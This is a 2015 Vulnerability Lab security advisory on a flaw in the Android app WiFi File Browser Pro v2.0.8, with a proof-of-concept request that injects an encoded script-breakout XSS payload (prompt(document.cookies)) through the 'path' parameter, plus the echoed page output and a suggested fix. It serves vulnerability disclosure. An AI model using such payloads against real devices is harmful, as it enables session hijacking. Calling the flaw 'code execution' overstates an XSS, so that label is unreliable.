WiFi File Browser Pro v2.0.8 - Code Execution Vulnerability Jan 16 2015 12:09PM
Vulnerability Lab (research vulnerability-lab com)
Document Title:
WiFi File Browser Pro v2.0.8 - Code Execution Vulnerability

References (Source):

Release Date:

Vulnerability Laboratory ID (VL-ID):

Common Vulnerability Scoring System:

Product & Service Introduction:
WiFi File Browser allows you to download and upload files to your mobile device by using your favourite web browser without
the need of a USB cable. The application main focus is to deliver high speed file transfer to users. Many user reviews state
that this is the fastest WiFi file transfer application

(Copy of the Vendor Homepage: https://play.google.com/store/apps/details?id=pt.webprods.android.file.m
anager.pro )

Abstract Advisory Information:
An independent vulnerability laboratory researcher discovered an arbitrary code execution vulnerability in the official WiFi File Browser Pro v2.0.8 (Android) mobile application.

Vulnerability Disclosure Timeline:
2015-01-14: Public Disclosure (Vulnerability Laboratory)

Discovery Status:

Affected Product(s):
Product: WiFi File Browser - (Android) Web Application 2.0.8

Exploitation Technique:

Severity Level:

Technical Details & Description:
An arbitrary code execution vulnerability has been discovered in the official Wifi File Browser Pro v2.0.8 (Android) mobile application.
The vulnerability allows remote attackers to execute malicious codes on the application-side of the vulnerable browser app to compromise
the target mobile device.

The vulnerability is located in the `path` value of the `browse` module. Remote attackers are able to manipulate the path value in the
browse GET method request to compromise the application, user session information or connected device components. The vector of the issue
is located on the application-side. Successful exploitation requires a client-side GET method request.

The security risk of the arbitrary code execution vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 7.1.
Exploitation of the arbitrary code execution vulnerability requires no user interaction or privileged web-application user account with password.
Successful exploitation of the vulnerability results in session hijacking, persistent phishing, persistent external redirects and persistent
manipulation function or connected module context.

Request Method(s):
[+] [GET]

Vulnerable Module(s):
[+] browse

Vulnerable Parameter(s):
[+] path

Affected Module(s):
[+] Index of Documents (http://localhost:8080)

Proof of Concept (PoC):
The arbitrary code execution vulnerability can be exploited by remote attackers without user interaction or privileged application user account.
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.

--- PoC Session Logs [GET] (Execution) ---
GET /browse?path=/_[ARBITRARY CODE EXECUTION VULNERABILITY!]&sfield=d&sorder=d HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 5.2; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive

PoC: Wifi Browser
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<meta http-equiv="Content-Type" content="text/html; " />
<title>WiFi File Browser</title>
<link rel="stylesheet" type="text/css" media="screen" href="/style3.css" />
<script type="text/javascript" language="javascript">
var currentPath = '%2F_%3C%2Fscript%3E%3Cscript%3Eprompt%28document.cookies%29%3C%2Fscript
%3E[CS XSS]';
var curSortOrder = 'd';
var curSortMethod = 'd';
var curThumbs = '';


Solution - Fix & Patch:
The vulnerability can be patched by a secure restriction of the path value in the browse GET method request.
Encode and parse the input and filter with an own exception-handling to prevent arbitrary code execution in client-side requests.

Security Risk:
The security risk of the arbitrary code execution vulnerability in the wifi browser is estimated as high. (CVSS 7.1)

Credits & Authors:
Hadji Samir s-dz (at) hotmail (dot) fr [email concealed]

Disclaimer & Information:
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either
expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers
are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even
if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation
of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break
any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material.

Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com
Contact: admin (at) vulnerability-lab (dot) com [email concealed] - research (at) vulnerability-lab (dot) com [email concealed] - admin (at) evolution-sec (dot) com [email concealed]
Section: dev.vulnerability-db.com - forum.vulnerability-db.com - magazine.vulnerability-db.com
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register/

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to
electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website
is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact
(admin (at) vulnerability-lab (dot) com [email concealed] or research (at) vulnerability-lab (dot) com [email concealed]) to get a permission.

Copyright © 2015 | Vulnerability Laboratory [Evolution Security]

SERVICE: www.vulnerability-lab.com
CONTACT: research (at) vulnerability-lab (dot) com [email concealed]
PGP KEY: http://www.vulnerability-lab.com/keys/admin (at) vulnerability-lab (dot) com [email concealed]%280x19

[ reply ]


Privacy Statement
Copyright 2010, SecurityFocus